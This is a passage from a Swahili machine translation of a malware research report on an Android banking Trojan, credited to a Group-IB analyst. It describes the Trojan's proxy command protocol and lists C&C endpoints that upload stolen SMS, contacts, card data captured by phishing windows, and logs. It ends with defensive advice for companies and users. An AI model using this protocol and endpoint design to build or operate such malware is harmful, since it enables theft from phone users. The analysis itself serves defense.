- simCountry — Msimbo wa nchi wa ISO (kulingana na mtoaji wa SIM kadi).
- networkOperator - jina la opereta. Ikiwa hitilafu itatokea wakati wa kurejesha thamani, ujumbe wa hitilafu wa maandishi utaandikwa badala ya sehemu hii.
- simOperator - Jina la Mtoa Huduma (SPN). Ikiwa hitilafu itatokea wakati wa kurejesha thamani, ujumbe wa hitilafu wa maandishi utaandikwa badala ya sehemu hii.
- toleo - uwanja huu umehifadhiwa katika darasa la usanidi; kwa matoleo ya bot yaliyosomwa, ilikuwa sawa na "1.6".
5. Inaingia kwenye hali ya amri ya seva. Amri za seva hupokelewa katika muundo ufuatao:
- 0 kukabiliana - amri
- 1 kukabiliana - sessionId
- 2 kukabiliana - urefu
- 4 kukabiliana - data
Wakati amri inapokelewa, kumbukumbu ya maombi:
mainLog("Kichwa { sessionId<%id%>], aina[<%command%>], urefu[<%length%>] }")
Amri zifuatazo zinawezekana kutoka kwa seva:
| jina | Amri | Data | Maelezo ya Kiufundi |
|---|---|---|---|
| kiunganishiId | 0 | Kitambulisho cha muunganisho | Unda muunganisho mpya |
| Kulala | 3 | Wakati | Sitisha moduli ya Wakala |
| PING_PONG | 4 | - | Tuma ujumbe wa PONG |
Ujumbe wa PONG una baiti 4 na unaonekana kama hii: 0x04000000.
Wakati amri ya kiunganisho inapopokelewa (kuunda muunganisho mpya) CommandConnection huunda mfano wa darasa Muunganisho wa Wakala.
- Madarasa mawili yanashiriki katika uwakilishi: Muunganisho wa Wakala и mwishoWakati wa kuunda darasa Muunganisho wa Wakala muunganisho wa anwani unaendelea ProxyConfigClass.mwenyeji: ProxyConfigClass.proxyPort na kupitisha kitu cha JSON:
{
"id":<%connectionId%>
}Kwa kujibu, seva hutuma ujumbe wa SOCKS5 ulio na anwani ya seva ya mbali ambayo muunganisho lazima uanzishwe. Mwingiliano na seva hii hutokea kupitia darasa mwishoKwa utaratibu, usanidi wa unganisho unaweza kuwakilishwa kama ifuatavyo:

Maingiliano ya mtandao
Ili kuzuia uchanganuzi wa trafiki na vinusi vya mtandao, mawasiliano kati ya seva ya C&C na programu inaweza kulindwa kwa kutumia SSL. Data yote iliyohamishwa hadi na kutoka kwa seva inawakilishwa katika umbizo la JSON. Maombi hutekeleza maombi yafuatayo wakati wa operesheni:
- http://<%CnC%>/api/v1/set_state.php - matokeo ya utekelezaji wa amri.
- http://<%CnC%>/api/v1/get.php - kupokea amri.
- http://<%CnC%>/api/v1/load_sms.php — kupakua ujumbe wa SMS kutoka kwa kifaa kilichoambukizwa.
- http://<%CnC%>/api/v1/load_ab.php — kupakua orodha ya anwani kutoka kwa kifaa kilichoambukizwa.
- http://<%CnC%>/api/v1/aevents.php - ombi linafanywa wakati wa kusasisha vigezo vilivyo kwenye faili ya upendeleo.
- http://<%CnC%>/api/v1/set_card.php — inapakua data iliyopatikana kupitia dirisha la hadaa lililofichwa kama Soko la Google Play.
- http://<%CnC%>/api/v1/logs.php - kupakua data ya kumbukumbu.
- http://<%CnC%>/api/v1/records.php - kupakua data iliyopatikana kupitia madirisha ya ulaghai.
- http://<%CnC%>/api/v1/set_error.php - arifa ya hitilafu ambayo imetokea.
Mapendekezo
Ili kulinda wateja wao kutokana na tishio la Trojans za simu, ni lazima kampuni zitumie suluhu za kina zinazowaruhusu kufuatilia na kuzuia shughuli hasidi bila kusakinisha programu za ziada kwenye vifaa vya watumiaji.
Ili kufanikisha hili, ni lazima mbinu za utambuzi wa Trojan ya vifaa vya mkononi kulingana na saini ziimarishwe kwa teknolojia ya uchanganuzi wa tabia kwa mteja na programu yenyewe. Usalama unapaswa pia kujumuisha kitambulisho cha kifaa kwa kutumia teknolojia ya alama za vidole dijitali, ambayo itawaruhusu watumiaji kutambua wakati akaunti inatumiwa kutoka kwa kifaa kisicho cha kawaida na tayari imeangukia mikononi mwa tapeli.
Jambo muhimu la kimsingi ni uwezo wa kufanya uchanganuzi wa njia tofauti, ambayo inaruhusu kampuni kudhibiti hatari zinazotokea sio tu kwenye mtandao lakini pia kwenye chaneli ya rununu, kwa mfano, katika programu za benki ya rununu, kwa miamala ya cryptocurrency, na programu zingine zozote ambapo shughuli ya kifedha inaweza kufanyika.
Sheria za usalama kwa watumiaji:
- usisakinishe programu za kifaa cha mkononi chenye mfumo wa uendeshaji Android kutoka vyanzo vingine isipokuwa Google Play, zingatia sana haki zinazoombwa na programu;
- sakinisha masasisho ya mfumo wa uendeshaji mara kwa mara Android;
- makini na upanuzi wa faili zilizopakuliwa;
- usitembelee rasilimali za tuhuma;
- Usibofye viungo vilivyopokelewa katika ujumbe wa SMS.
Kwa ushiriki wa Semyon Rogachev, Mtaalamu Mdogo wa Utafiti wa Malware katika Maabara ya Uchunguzi wa Kompyuta ya Kundi-IB.
Chanzo: mapenzi.com
